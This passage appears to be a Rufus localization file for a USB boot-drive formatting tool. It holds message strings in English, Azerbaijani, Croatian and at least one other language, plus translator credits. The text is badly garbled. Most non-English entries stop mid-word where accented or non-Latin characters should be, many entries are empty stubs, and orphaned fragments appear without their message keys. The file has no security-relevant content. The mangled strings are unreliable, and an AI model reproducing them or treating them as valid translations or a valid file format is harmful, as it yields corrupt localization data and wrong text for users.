"Conventional drives use a 512-byte sector size but this drive uses a %d-byte one. "

t MSG_197 "Nonstandard sector size detected"

t MSG_198 "'Windows To Go' can only be installed on a GPT partitioned drive if it has "

t MSG_199 "Choose this if you plan to install Windows, to another disk, using the selected device as installation media."

t MSG_200 "Choose this if you want to run Windows directly from the selected device."

t MSG_201 "Cancelling - Please wait..."

t MSG_202 "Scanning image..."

t MSG_203 "Failed to scan image"

t MSG_204 "Obsolete %s detected"

t MSG_205 "Using image: %s"

t MSG_206 "Missing %s file"

t MSG_207 "New Volume"

t MSG_208 "%d device found"

t MSG_209 "%d devices found"

t MSG_210 "READY"

t MSG_211 "Cancelled"

t MSG_212 "Failed"

t MSG_213 "Launching new application..."

t MSG_214 "Failed to launch new application"

t MSG_215 "Opened %s"

t MSG_216 "Saved %s"

t MSG_217 "Formatting: %0.1f%% completed"

t MSG_218 "Creating file system: Task %d/%d completed"

t MSG_219 "NTFS Fixup: %d%% completed"

t MSG_220 "Formatting (%s) - estimated duration %d:d..."

t MSG_221 "Setting Label (This may take while)..."

t MSG_222 "Formatting (%s)..."

t MSG_223 "NTFS Fixup (Checkdisk)..."

t MSG_224 "Clearing MBR/PBR/GPT structures..."

t MSG_225 "Requesting disk access..."

t MSG_226 "Analyzing existing boot records..."

t MSG_227 "Closing existing volume..."

t MSG_228 "Writing master boot record..."

t MSG_229 "Writing partition boot record..."

t MSG_230 "Copying DOS files..."

t MSG_231 "Copying ISO files..."

t MSG_232 "Win7 EFI boot setup (this may take a while)..."

t MSG_233 "Finalizing, please wait..."

t MSG_234 "Installing Syslinux %s..."

t MSG_235 "Bad Blocks: %s %d/%d - %0.2f%% (%d/%d/%d errors)"

t MSG_236 "Bad Blocks: Testing with random pattern"

t MSG_237 "Bad Blocks: Testing with pattern 0xX"

t MSG_238 "Partitioning (%s)..."

t MSG_239 "Deleting partitions..."

t MSG_240 "Downloading %s: Connecting..."

t MSG_241 "Downloading: %0.1f%%"

t MSG_242 "Failed to download file."

t MSG_243 "Checking for Rufus updates..."

t MSG_244 "Updates: Unable to connect to the internet"

t MSG_245 "Updates: Unable to access version data"

t MSG_246 "A new version of Rufus is available!"

t MSG_247 "No new version of Rufus was found"

t MSG_248 "Application registry keys successfully deleted"

t MSG_249 "Failed to delete application registry keys"

t MSG_250 "%s enabled"

t MSG_251 "%s disabled"

t MSG_252 "Size checks"

t MSG_253 "Hard disk detection"

t MSG_254 "Force large FAT32 formatting"

t MSG_255 "NoDriveTypeAutorun will be deleted on exit"

t MSG_256 "Fake drive detection"

t MSG_257 "Joliet support"

t MSG_258 "Rock Ridge support"

t MSG_259 "Force update"

t MSG_260 "NTFS compression"

t MSG_261 "Writing image: %0.1f%% completed"

t MSG_262 "ISO Support"

t MSG_263 "Use PROPER size units"

t MSG_264 "Deleting directory '%s'"

t MSG_265 "VMWare disk detection"

t MSG_266 "Dual UEFI/BIOS mode"

t MSG_267 "Applying Windows image: %0.1f%% completed"

t MSG_268 "Applying Windows image..."

t MSG_269 "Preserve timestamps"

t MSG_270 "USB debug"

t MSG_271 "Computing image checksums: %0.1f%% completed"

t MSG_272 "Compute the MD5, SHA1 and SHA256 checksums for the selected image"

t MSG_273 "Change the application language"

t MSG_274 "ISOHybrid image detected"

t MSG_275 "The image you have selected is an 'ISOHybrid' image. This means it can be written either in "

"%s (file copy) mode or %s (disk image) mode.\n"

"Rufus recommends using %s mode, so that you always have full access to the drive after writing it.\n"

"However, if you encounter issues during boot, you can try writing this image again in %s mode.\n\n"

t MSG_276 "Write in %s mode (Recommended)"

t MSG_277 "Write in %s mode"

t MSG_278 "Boot type"

t MSG_279 "Non bootable"

t MSG_280 "Image selection"

t MSG_281 "(Please select an image)"

t MSG_282 "Exclusive USB drive locking"

t MSG_283 "Invalid signature"

t MSG_284 "The downloaded executable is missing a digital signature."

t MSG_285 "The downloaded executable is signed by '%s'.\nThis is not a signature we recognize and could "

t MSG_286 "Zeroing drive: %0.1f%% completed"

v 1.0.18

t IDC_WINDOWS_INSTALL "

t IDC_WINDOWS_TO_GO "Windows To Go (

t IDC_WEBSITE "

t MSG_001 "

t MSG_002 "

t MSG_003 "

'%s'.\n"

t MSG_004 "

t MSG_005 "

t MSG_006 "

t MSG_007 "

t MSG_008 "

t MSG_009 "

t MSG_010 "

t MSG_011 "

\n %d

t MSG_012 "%s\n

:\n%s"

t MSG_013 "

t MSG_014 "

t MSG_015 "

t MSG_016 "

t MSG_017 "

t MSG_018 "

: %d.%d (Build %d)"

t MSG_019 "

t MSG_020 "

t MSG_026 "

t MSG_027 "

t MSG_028 "

t MSG_029 "

t MSG_030 "%s (

t MSG_031 "%s

t MSG_032 "%s

t MSG_033 "%s

t MSG_034 "%d

t MSG_035 "%d

t MSG_036 "ISO

t MSG_037 "

t MSG_038 "

t MSG_039 "

t MSG_040 "

t MSG_041 "

t MSG_042 "

t MSG_043 "

: %s"

t MSG_044 "

t MSG_045 "

t MSG_046 "%s (

%d) [%s]"

t MSG_047 "

t MSG_048 "

t MSG_049 "

t MSG_050 "

t MSG_051 "

t MSG_052 "

t MSG_053 "

t MSG_054 "

t MSG_055 "

t MSG_056 "

t MSG_057 "

t MSG_058 "

t MSG_059 "

t MSG_060 "

t MSG_061 "

t MSG_062 "

t MSG_063 "

t MSG_064 "

t MSG_065 "

t MSG_066 "

t MSG_067 "

t MSG_068 "

t MSG_069 "

t MSG_070 "

t MSG_071 "

t MSG_072 "

t MSG_073 "

t MSG_074 "

t MSG_075 "

t MSG_076 "

t MSG_077 "

t MSG_078 "

t MSG_079 "

t MSG_080 "

t MSG_081 "

t MSG_082 "

t MSG_083 "

t MSG_084 "

'%s'. \n"

t MSG_085 "

t MSG_086 "

t MSG_087 "

t MSG_088 "

t MSG_089 "

t MSG_090 "ISO

t MSG_091 "

t MSG_092 "

t MSG_093 "

t MSG_094 "

t MSG_095 "DD

t MSG_096 "

t MSG_097 "'%s'

t MSG_098 "

'Windows To Go'

t MSG_099 "

t MSG_100 "

t MSG_101 "

t MSG_102 "

t MSG_103 "

t MSG_104 "%s

ISO %s, "

t MSG_105 "

t MSG_106 "

t MSG_107 "

t MSG_108 "

t MSG_109 "

0xX

t MSG_110 "MS-DOS

t MSG_111 "

t MSG_112 "

: %d:d,

t MSG_113 "

t MSG_114 "

Syslinux %s%s

"Syslinux %s%s. \n\n

('ldlinux.sys'

'ldlinux.bss'):\n"

t MSG_115 "

t MSG_116 "

Grub %s

"Grub %s.\n\n

"('core.img')

t MSG_150 "

t MSG_151 "

t MSG_152 "

t MSG_153 "

: 0xX"

t MSG_154 "

: 0xX, 0xX"

t MSG_155 "

: 0xX, 0xX, 0xX"

t MSG_156 "

: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "

t MSG_158 "

t MSG_159 "

t MSG_160 "

t MSG_161 "

t MSG_162 "

t MSG_163 "

t MSG_164 "

t MSG_165 "

t MSG_166 "

autorun.inf)"

t MSG_167 "

t MSG_168 "

t MSG_169 "

t MSG_170 "

t MSG_171 "

t MSG_172 "

t MSG_173 "

t MSG_174 "

t MSG_175 "

%d.%d (

t MSG_176 "

(mailto:ch_djalel@yahoo.com)"

t MSG_177 "

t MSG_178 "

t MSG_179 "

t MSG_180 "

t MSG_181 "

t MSG_182 "

t MSG_183 "

t MSG_184 "

t MSG_185 "

t MSG_186 "

t MSG_187 "

t MSG_188 "

t MSG_189 "

t MSG_190 "

t MSG_191 "

t MSG_192 "

t MSG_193 "

t MSG_194 "

t MSG_195 "

) %s"

t MSG_196 "

t MSG_197 "

t MSG_198 "

'Windows To Go'

t MSG_199 "

t MSG_201 "

t MSG_202 "

t MSG_203 "

t MSG_204 "

t MSG_205 "

ISO: %s"

t MSG_206 "

t MSG_207 "

t MSG_208 "

t MSG_209 "

t MSG_210 "

t MSG_211 "

t MSG_212 "

t MSG_213 "

t MSG_214 "

t MSG_215 "

t MSG_216 "

t MSG_217 "

t MSG_218 "

%d/%d

t MSG_219 "

%d%%"

t MSG_220 "

%d:d..."

t MSG_221 "

t MSG_222 "

(%s)..."

t MSG_223 "

t MSG_224 "

t MSG_225 "

t MSG_226 "

t MSG_227 "

t MSG_228 "

t MSG_229 "

t MSG_230 "

t MSG_231 "

t MSG_232 "

t MSG_233 "

t MSG_234 "

Syslinux %s..."

t MSG_235 "

%d/%d - %0.2f%% (%d/%d/%d

t MSG_236 "

t MSG_237 "

0xX"

t MSG_238 "

t MSG_239 "

t MSG_240 "

t MSG_241 "

t MSG_242 "

t MSG_243 "

t MSG_244 "

t MSG_245 "

t MSG_246 "

t MSG_247 "

t MSG_248 "

t MSG_249 "

t MSG_250 "

t MSG_251 "

t MSG_252 "

t MSG_253 "

t MSG_254 "

t MSG_255 "

t MSG_256 "

t MSG_257 "

t MSG_258 "

t MSG_259 "

t MSG_260 "

t MSG_261 "

t MSG_262 "

t MSG_263 "

t MSG_264 "

'%s'"

t MSG_265 "

t MSG_266 "

t MSG_267 "

t MSG_268 "

t MSG_269 "

t MSG_270 "

t MSG_271 "

t MSG_272 "

t MSG_273 "

t MSG_274 "

t MSG_275 "

%s.\n (

%s.\n\n"

t MSG_276 "

t MSG_277 "

t MSG_278 "

t MSG_279 "

t MSG_280 "

t MSG_281 "(

m IDC_NBPASSES  30,0

s IDC_NBPASSES -25,0

t IDC_WINDOWS_INSTALL "Standart Windows Y

t IDC_WEBSITE "Veb sayt

t MSG_001 "Rufus'un art

t MSG_002 "Ba

t MSG_003 "X

RDARLIQ: '%s' C

t MSG_004 "Rufus yenil

t MSG_005 "Rufus'un proqram

t MSG_006 "Ba

t MSG_008 "B

t MSG_009 "Xeyr"

t MSG_010 "S

t MSG_011 "Yoxlama Bitdi: %d s

" %d oxuma s

hvi\n %d yazma s

hvi\n %d s

t MSG_012 "%s\nDaha

hesabat burada:\n%s"

t MSG_013 "Oflayn"

t MSG_014 "G

t MSG_015 "H

t MSG_016 "Ayl

t MSG_017 "X

t MSG_018 "M

vcud Versiya: %d.%d (Edil

n %d)"

n son versiya: %d.%d (Edil

t MSG_020 "byte"

t MSG_026 "byte"

t MSG_027 "kilobyte"

t MSG_028 "megabyte"

t MSG_029 "F

t MSG_030 "%s (F

t MSG_031 "%s Hiss

idi: BIOS ya da %s

t MSG_032 "BIOS

n %s Hiss

t MSG_033 "UEFI

t MSG_034 "%d Ke

t MSG_035 "%d Ke

t MSG_037 "Proqram"

t MSG_039 "Ba

t MSG_040 "Y

t MSG_042 "S

t MSG_043 "S

hv: %s"

t MSG_044 "Fayl y

t MSG_045 "USB Y

t MSG_048 "Rufus - Tamamlan

t MSG_049 "Rufus -

t MSG_050 "U

urlu oldu."

t MSG_051 "Formatlayark

t MSG_052 "Se

t MSG_053 "Cihaza giri

t MSG_054 "Media yazma qorumal

t MSG_055 "Cihaz ba

t MSG_056 "Bu cihaz

t MSG_057 "T

t MSG_058 "Cihaz izahat

t MSG_059 "Se

t MSG_060 "T

t MSG_061 "L

t MSG_062 "D

t MSG_063 "Yadda

t MSG_064 "Oxuma S

t MSG_065 "Yazma S

t MSG_066 "Y

t MSG_067 "Media a

t MSG_068 "S

t MSG_069 "Fayllar h

t MSG_072 "S

t MSG_073 "ISO fayl

t MSG_074 "ISO fayl

t MSG_076 "A

t MSG_077 "S

t MSG_078 "GUID yerl

t MSG_079 "Cihaz haz

t MSG_080 "Rufus Windows'un USB cihaz

n Windows'un i

t MSG_081 "D

t MSG_082 "Bu fayl ya

t MSG_083 "%s yeri d

t MSG_084 "Bu ISO fayl

'%s'in k

"'%s' Orda m

t MSG_085 "%s y

t MSG_086 "Fayl se

t MSG_087 "L

t MSG_088 "Fayl

t MSG_089 "Fayl se

t MSG_090 "D

t MSG_091 "EFI H

t MSG_092 "D

t MSG_093 "M

lanmayan ya da Windows'un g

t MSG_095 "DD Fayl

t MSG_096 "M

t MSG_097 "'%s' sad

t MSG_098 "M

M: 'Windows To Go' y

Windows,

t MSG_099 "Fayl Sistemi M

t MSG_100 "Bu ISO fayl

t MSG_102 "Platforman

r Windows 7 v

Windows Vista USB s

t MSG_103 "%s y

t MSG_104 "%s ya da daha yuxar

n '%s' fayl

%s ISO fayllar

r:\n"

"'%s' Orda m

t MSG_106 "L

t MSG_107 "B

t MSG_108 "Rufus g

t MSG_110 "MS-DOS, 64 kilobyte Ay

t MSG_111 "Uy

t MSG_112 "Geni

%d:d,

t MSG_113 "Geni

t MSG_114 "Bu variant Syslinux %s%s istifad

z Syslinux %s%s

n('ldlinux.sys' v

'ldlinux.bss') internet

t MSG_115 "Y

t MSG_116 "Bu variant Grub %s istifad

z Grub %s

"('core.img') etm

t MSG_150 "Ad

t MSG_151 "Bir

Windows XP d

t MSG_152 "Bir

Windows XP

t MSG_153 "Q

libi Yoxla: 0xX"

t MSG_154 "Q

libi Yoxla: 0xX, 0xX"

t MSG_155 "Q

libi Yoxla: 0xX, 0xX, 0xX"

t MSG_156 "Q

libi Yoxla: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "H

t MSG_158 "Fayl sistemind

t MSG_159 "Bu sah

t MSG_161 "Q

t MSG_162 "\"Yava

t MSG_163 "A

t MSG_164 "S

t MSG_166 "Beyn

n edin (autorun.inf yarad

t MSG_167 "A

z Windows XP y

t MSG_169 "Qeyri-adi gizli bir hiss

t MSG_170 "USB sabit s

t MSG_171 "Formatlama prosesini ba

t MSG_172 "Lisenziya m

t MSG_173 "Se

t MSG_174 "Rufus - Etibarl

t MSG_175 "Versiya %d.%d (Qurulu

t MSG_176 "Az

likov <mailto:elvin_melikov@mail.ru>"

t MSG_177 "S

t MSG_179 "Yenil

t MSG_180 "Proqrama yenil

t MSG_183 "IP Adresiniz"

t MSG_184 "X

t MSG_185 "Yenil

t MSG_186 "Yenil

t MSG_187 "Se

t MSG_188 "M

t MSG_189 "Bu ISO

t MSG_190 "Uy

t MSG_191 "Yazma ke

t MSG_192 "Oxuma ke

t MSG_193 "%s y

t MSG_194 "%s y

t MSG_195 "%s fayllar

t MSG_196 "M

%d-byte istifad

t MSG_197 "Standart olmayan sektor

t MSG_198 "'Windows To Go', SAB

t MSG_199 "Windows'u ba

t MSG_200 "Windows'u birba

t MSG_202 "Fayl Axtar

t MSG_203 "Fayl axtar

t MSG_204 "K

%s tap

n Fayl: %s"

t MSG_206 "K

%s fayl

t MSG_207 "Yeni

t MSG_208 "%d cihaz tap

t MSG_209 "%d cihaz tap

t MSG_210 "HAZIRDIR"

t MSG_211 "L

t MSG_212 "U

t MSG_213 "Yeni proqram a

t MSG_214 "Yeni proqram ba

t MSG_215 "%s A

t MSG_216 "%s Yadda

t MSG_217 "Formatlan

t MSG_218 "Fayl sistemi yarad

liyyat %d/%d tamamland

t MSG_219 "NTFS D

: %d%% tamamland

t MSG_220 "Formatlan

r (%s) - T

xmini Vaxt %d:d..."

t MSG_221 "Etiket T

t MSG_222 "Formatlan

r (%s)..."

t MSG_223 "NTFS D

t MSG_224 "MBR/PBR/GPT qurulu

t MSG_225 "Disk

t MSG_226 "Olan a

t MSG_227 "Olanlar ba

t MSG_228 "MBR Yaz

t MSG_229 "PBR Yaz

t MSG_230 "DOS Fayllar

t MSG_231 "ISO Fayllar

t MSG_232 "Win7 EFI A

t MSG_233 "Bitirilir, L

t MSG_234 "Syslinux %s Y

t MSG_235 "S

hvli Bloklar: %s %d/%d - %0.2f%% (%d/%d/%d s

t MSG_236 "S

t MSG_237 "S

hvli Bloklar: 0xX q

t MSG_238 "Hiss

nir (%s)..."

t MSG_239 "Hiss

t MSG_240 "%s Y

t MSG_241 "Y

t MSG_242 "Fayl y

t MSG_243 "Rufus yenil

t MSG_244 "Yenil

t MSG_245 "Yenil

t MSG_246 "Rufus'un yeni versiyas

t MSG_247 "Rufus'un yeni versiyas

t MSG_248 "Proqram

t MSG_249 "Proqram

t MSG_250 "%s aktiv"

t MSG_251 "%s s

t MSG_253 "Sabit Disk Tap

t MSG_254 "Geni

t MSG_255 "NoDriveTypeAutorun

t MSG_256 "Saxta s

t MSG_257 "Joliet d

t MSG_258 "Rock Ridge d

t MSG_259 "M

t MSG_260 "NTFS s

t MSG_261 "Fayl yaz

t MSG_262 "ISO D

t MSG_263 "UY

t MSG_264 "'%s' silinir"

t MSG_265 "VMWare disk tapma"

t MSG_266 "C

t MSG_267 "Windows fayl

t MSG_268 "Windows fayl

t MSG_269 "Zaman gedi

t MSG_270 "USB S

t MSG_271 "Fayl t

t MSG_272 "Se

t MSG_273 "Proqram dilini d

t MSG_274 "ISOHybrid fayl

t MSG_275 "Se

n ya %s (fayl kopyalama) rejimind

"ya da %s (disk fayl

"Rufus %s rejiminin istifad

%s rejimind

t MSG_276 "%s rejimind

t MSG_277 "%s rejimind

t MSG_280 "Fayl se

t MSG_281 "(L

t MSG_282 "X

t MSG_283 "Ke

t MSG_284 "Y

t MSG_285 "Y

n fayl '%s' t

m IDC_NBPASSES  15,0

Windows

t IDC_WINDOWS_TO_GO "Windows To Go (Windows

t MSG_004 "Rufus

t MSG_012 "%s\nA

t MSG_045 "USB

t MSG_048 "Rufus -

t MSG_078 "GUID

t MSG_080 "Rufus

"'%s',

t MSG_090 "

Windows. "

'Windows To Go',

Windows 7

Windows Vista USB

%s ISO

"'%s'

t MSG_108 "Rufus

t MSG_109 "0xX (

%d:d,

"Syslinux %s%s.\n\n

('ldlinux.sys'

GRUB %s

GRUB %s."

.Rufus

Windows XP"

t MSG_174 "Rufus -

%d.%d (Build %d)"

: Krasimir Nevenov <mailto:berzabel@yahoo.com>"

t MSG_186 "Rufus

t MSG_198 "'Windows To Go'

t MSG_200 "

t MSG_219 "NTFS

: %d%%

(%s) -

t MSG_223 "NTFS

t MSG_232 "Win7 EFI

: %s %d/%d - %0.2f%% (%d/%d/%d

) (%s)..."

t MSG_250 "%s

t MSG_251 "%s

t MSG_257 "Joliet

t MSG_258 "Rock Ridge

t MSG_260 "NTFS

t MSG_262 "ISO

t MSG_266 "Dual UEFI/BIOS

"%s (file copy)

%s (disk image)

t MSG_282 "

t MSG_283 "

t MSG_284 "

t MSG_285 "

'%s'.\n

t IDC_WINDOWS_TO_GO "Windows To Go"

\n%s"

%d.%d (Build %d)"

t MSG_020 "B"

t MSG_027 "K

t MSG_028 "M

t MSG_031 "

t MSG_032 "

t MSG_033 "

t MSG_073 "ISO

t MSG_074 "ISO

Windows

%d:d

Syslinux %s%s

('core.img'):\n"

0xX"

0xX, 0xX"

0xX, 0xX, 0xX"

0xX, 0xX, 0xX, 0xX"

- %0.2f%% (%d/%d/%d

0xX

t MSG_265 "VMWare

t MSG_270 "USB

"%s (

m IDC_NBPASSES -5,0

s IDC_NBPASSES  5,0

: '%s'\n"

t MSG_032 "%s BIOS

t MSG_033 "%s UEFI

! 'Windows To Go'

'%s'\n"

: %d:d"

"'ldlinux.sys'

'ldlinux.bss'\n"

Grub %s

"'core.img'\n"

<mailto:mmmeow@gmail.com>\\line Chocobo1 <hXXps://github.com/Chocobo1>"

t MSG_177 "Bug

%d-byte

Windows

: %d/%d"

: %d%%"

: %d:d..."

t MSG_234 "Syslinux %s

(0xX

t MSG_248 "Rufus

t MSG_249 "Rufus

: '%s'.\n

t IDC_WEBSITE "Kliknite ovdje za pristup web-stranici"

t MSG_001 "Drugi primjerak otkriven"

t MSG_002 "Druga Rufus aplikacija radi.\n"

t MSG_003 "UPOZORENJE: Ovaj postupak bri

t MSG_004 "Politika Rufus a

t MSG_005 "Dopusti Rufusu da tra

t MSG_006 "Zatvori"

t MSG_007 "Odustani"

t MSG_008 "Da"

t MSG_009 "Ne"

t MSG_010 "Prona

t MSG_011 "Provjera gotova: %d lo

" %d gre

itanja\n %d gre

ka pisanja\n %d korupcija\n"

t MSG_012 "%s\nDetaljno izvje

e se nalazi u:\n%s"

t MSG_013 "Onemogu

t MSG_014 "Dnevno"

t MSG_015 "Tjedno"

t MSG_016 "Mjese

t MSG_017 "Prilago

t MSG_018 "Verzija: %d.%d (Build %d)"

t MSG_019 "Zadnja verzija: %d.%d (Build %d)"

t MSG_020 "bajta"

t MSG_026 "bajta"

t MSG_027 "kilobajta"

t MSG_028 "megabajta"

t MSG_029 "Zadano"

t MSG_030 "%s (Zadano)"

t MSG_031 "%s shema particije za BIOS ili %s"

t MSG_032 "%s shema particije za BIOS"

t MSG_033 "%s shema particije za UEFI"

t MSG_034 "%d prolaz"

t MSG_035 "%d prolaza"

t MSG_036 "ISO slike"

t MSG_037 "Aplikacija"

t MSG_038 "Prekini"

t MSG_039 "Pokreni"

t MSG_040 "Preuzmi"

t MSG_041 "Operacija prekinuta od korisnika"

t MSG_042 "Gre

t MSG_043 "Gre

ka: %s"

t MSG_044 "Preuzimanje datoteka"

t MSG_045 "USB ure

t MSG_046 "%s (disk %d) [%s]"

t MSG_047 "Vi

t MSG_048 "Rufus - Ispiranje buffera"

t MSG_049 "Rufus - Otkazivanje"

t MSG_050 "Uspijeh."

t MSG_051 "Neutvr

t MSG_052 "Nemogu koristiti odabrani sustav datoteka za ovaj medij."

t MSG_053 "Odbijen pristup ure

t MSG_054 "Ure

t MSG_055 "Ure

t MSG_056 "Brzo formatiranje je nedostupno za ovaj ure

t MSG_057 "Nepodr

t MSG_059 "Odabrana veli

t MSG_060 "Neto

t MSG_061 "Stavite uklonjivi medij u pogon."

t MSG_062 "Primljena je nepoznata komanda."

t MSG_063 "Gre

t MSG_064 "Gre

t MSG_065 "Gre

t MSG_066 "Neuspjela instalacija"

t MSG_067 "Nemogu otvoriti medij. Mo

t MSG_068 "Gre

t MSG_069 "Datoteke se ne mogu kopirati na odabrani pogon"

t MSG_070 "Otkazao korisnik."

t MSG_071 "Ne mogu zapo

t MSG_072 "Nije zavr

t MSG_073 "Neuspjelo skeniranje ISO slike."

t MSG_074 "Neuspjelo izvla

t MSG_075 "Ne mogu remontirati ure

t MSG_076 "Ne mogu zakrpati/postaviti datoteke za bootanje."

t MSG_077 "Ne mogu dodijeliti slovo jedinici."

t MSG_078 "Ne mogu montirati GUID jedinicu."

t MSG_079 "Ure

t MSG_080 "Rufus je otkrio da Windows jo

aja, ova operacija bi mogla potrajati, "

amo da dopustite Windowsima da zavr

t MSG_081 "Nepodr

t MSG_082 "Ova slika nije podr

t MSG_083 "Zamijeni %s?"

t MSG_084 "Ova ISO slika koristi staru verziju '%s'.\n"

t MSG_085 "Preuzimam %s"

t MSG_086 "Nema odabira"

t MSG_087 "Pritisnite na ikonu diska za odabir datoteke."

t MSG_088 "Slika je prevelika"

t MSG_089 "Ime mora biti manje za odabranu metu."

t MSG_090 "Nepodr

t MSG_091 "Dok koristite UEFI Target Type, samo EFI bootable ISO slike su podr

t MSG_092 "Nepodr

t MSG_093 "VA

da nisu vidljive Windowsima. "

t MSG_094 "Otkrivene vi

t MSG_095 "DD slike"

t MSG_096 "Sustav dat. trenutno odabran ne mo

t MSG_097 "'%s' se samo mo

t MSG_098 "VA

elite instalirati 'Windows To Go', ali va

"ima 'FIXED' atribut. Zbog ovoga Windows

to Microsoft nije dizajnirao Windows To Go za ure

t MSG_099 "Ograni

t MSG_100 "Ova ISO slika sadr

t MSG_101 "Nedostaje WIM podr

t MSG_102 "Va

"je potrebno da se naprave EFI bootable Windows 7 i Windows Vista USB pogoni. Preuzmite najnoviju "

t MSG_103 "Preuzmi %s?"

t MSG_104 "%s ili noviji zahtijeva '%s' za instalaciju.\n"

a od 100 KB, i uvijek prisutna na %s ISO slikama, "

"'%s' postoji tamo, automatski

t MSG_105 "Prekidanje mo

t MSG_106 "Molimo odaberite mapu"

t MSG_107 "Sve datoteke"

t MSG_108 "Rufus zapisnik"

t MSG_110 "MS-DOS ne mo

t MSG_111 "Nekompatibilna veli

t MSG_112 "Formatiranje velike UDF jedinice mo

" %d:d "

t MSG_113 "Velika UDF jedinica"

t MSG_114 "Ova slika koristi Syslinux %s%s ali ova aplikacija samo uklju

"Syslinux %s%s.\n\nPo

"('ldlinux.sys' i 'ldlinux.bss')\n"

t MSG_115 "Potrebno preuzimanje"

t MSG_116 "Ova slika koristi Grub %s ali aplikacija samo sadr

"Grub %s.\n\nPo

"instalacijske datoteke ('core.img') koja odgovara onoj iz va

t MSG_150 "Naj

t MSG_151 "Odaberite ovo ako

aju sa Windows XP"

t MSG_152 "Preferirana opcija za inst. OS-a u EFI na

"USB pristup nije potreban za Windows XP"

t MSG_153 "Test uzorak: 0xX"

t MSG_154 "Test uzorak: 0xX, 0xX"

t MSG_155 "Test uzorak: 0xX, 0xX, 0xX"

t MSG_156 "Test uzorak: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Postavi sustav datoteka"

t MSG_158 "Min. veli

t MSG_159 "Ovdje unesite naziv za jedinicu"

t MSG_160 "Otvori napredne postavke"

t MSG_161 "Provjeri prisutnost lo

t MSG_162 "Ostavite prazno za \"sporu\" metodu formatiranja"

t MSG_163 "Odaberite ovo da USB bude 'bootable'"

t MSG_164 "Metoda s kojom

t MSG_165 "Kliknite za odabir datoteke"

t MSG_166 "Potvrdite ovo da dozvolite prikaz internacijonalnih oznaka "

"i napravite ikonu (stvara autorun.inf)"

t MSG_167 "Instaliraj MBR koji omogu

t MSG_168 "Maskiraj prvi bootable USB pogon (uobi

"Ovo je potrebno ako instalirate Windows XP i imate vi

t MSG_169 "Stvori extra skrivenu particiju i poku

t MSG_170 "Otkrivanje USB hard diskova. Koristiti na vlastitu odgovornost!"

t MSG_171 "Zapo

t MSG_172 "Info licenciranja i zahvale"

t MSG_173 "Klikni za odabir..."

t MSG_175 "Verzija %d.%d (Build %d)"

t MSG_176 "Preveo: Dario Komar <mailto:dkmr_main@hotmail.com>"

t MSG_177 "Prijavite gre

t MSG_178 "Dodatna autorska prava:"

t MSG_179 "Politika a

t MSG_180 "Ako

t MSG_181 "Arhitektura va

t MSG_182 "Verzija Rufusa koju koristite"

t MSG_183 "Va

t MSG_184 "Zbog statistika, navedene informacije mo

t MSG_185 "Proces a

t MSG_186 "Rufus nema pozadinskih program

t MSG_187 "Kriva slika za odabrano bootanje"

t MSG_188 "Trenutna slika se ne podudara s odabranim boot opcijama. Odaberite drugu sliku ili boot opciju."

t MSG_189 "Ova ISO slika nije kompatibilna s odabranim sustavom dat."

t MSG_190 "Prona

t MSG_191 "Pi

t MSG_193 "Preuzeto %s"

t MSG_194 "Ne mogu preuzeti %s"

t MSG_195 "Kori

enih verzija od %s datoteka"

t MSG_196 "VA

inu sektora od 512 bajta ali ovaj koristi od %d. "

t MSG_197 "Nestandardna veli

t MSG_198 "'Windows To Go' se samo mo

t MSG_199 "Odaberite ovo ako planirate instalirati Windows na drugi disk s odabranim ure

t MSG_200 "Odaberite ovo ako planirate pokretati Windows direktno s odabranog ure

t MSG_201 "Otkazujem - Pri

t MSG_202 "Skeniram sliku..."

t MSG_203 "Neuspijelo skeniranje"

t MSG_204 "Stari %s otkriven"

t MSG_205 "Koristim sliku: %s"

t MSG_206 "Nedostaje %s"

t MSG_207 "Novi medij"

t MSG_208 "%d ure

t MSG_209 "%d ure

t MSG_210 "Spremno"

t MSG_211 "Otkazano"

t MSG_212 "NEUSPJE

t MSG_213 "Pokretanje nove aplikacije..."

t MSG_214 "Gre

t MSG_215 "Otvoreno %s"

t MSG_216 "Spremljeno %s"

t MSG_217 "Formatiranje: %0.1f%% zavr

t MSG_218 "Stvaram sustav datoteka: %d/%d zavr

t MSG_219 "NTFS Fixup: %d%% zavr

t MSG_220 "Formatiranje(%s) - Procjena %d:d..."

t MSG_221 "Postavljanje jedinice..."

t MSG_222 "Formatiram (%s)..."

t MSG_225 "Zahtijevam pristup disku..."

t MSG_226 "Analiziram postoje

t MSG_227 "Zatvaram postoje

t MSG_228 "Zapisujem master boot record..."

t MSG_229 "Zapisujem partition boot record..."

t MSG_230 "Kopiram DOS datoteke..."

t MSG_231 "Kopiram ISO datoteku..."

t MSG_232 "Win7 EFI boot setup..."

t MSG_233 "Zavr

t MSG_234 "Instaliram Syslinux %s..."

t MSG_235 "Lo

i blokovi: %s %d/%d - %0.2f%% (%d/%d/%d gre

t MSG_236 "Lo

t MSG_237 "Lo

i blokovi: Testiram s uzorkom 0xX"

t MSG_238 "Particioniram (%s)..."

t MSG_239 "Bri

t MSG_240 "Preuzimam %s: povezivanje..."

t MSG_241 "Preuzimam: %0.1f%%"

t MSG_242 "Neuspjelo preuzimanje."

t MSG_243 "Provjera Rufus a

t MSG_244 "A

t MSG_245 "A

t MSG_246 "Dostupna nova verzija Rufusa!"

t MSG_247 "Nema novih verzija Rufusa"

t MSG_248 "Klju

t MSG_249 "Neuspjela operacija"

t MSG_250 "%s omogu

t MSG_251 "%s onemogu

t MSG_252 "Provjera veli

t MSG_253 "Otkrivanje Hard Diskova"

t MSG_254 "Forsiraj veliko FAT32 formatiranje"

t MSG_256 "La

t MSG_257 "Joliet podr

t MSG_258 "Rock Ridge podr

t MSG_259 "Forsiranje a

t MSG_260 "NTFS kompresija"

t MSG_261 "Zapisujem: %0.1f%% zavr

t MSG_262 "ISO podr

t MSG_263 "Koristi PRAVE vel. jedinica"

t MSG_264 "Bri

em direktorij '%s'"

t MSG_265 "VMWare disk detekcija"

t MSG_266 "Dual UEFI/BIOS na

t MSG_267 "Primjenjujem Windows sliku: %0.1f%% zavr

t MSG_268 "Primjenjujem Windows sliku..."

t MSG_269 "O

t MSG_271 "Ra

t MSG_272 "Izra

t MSG_273 "Promjena jezika"

t MSG_274 "ISOHybrid slika otkrivena"

t MSG_275 "Slika koju ste odabrali je 'ISOHybrid'. Takva datoteka mo

"%s (kopiranje) ili %s (disk image).\n"

uje metodu %s, tako da imate neograni

ete na probleme kod boota, isprobajte metodu %s.\n\n"

"Molimo odaberite metodu za ovu operaciju:"

t MSG_276 "Metodom %s (Preporu

t MSG_277 "Metodom %s"

t MSG_278 "Boot tip"

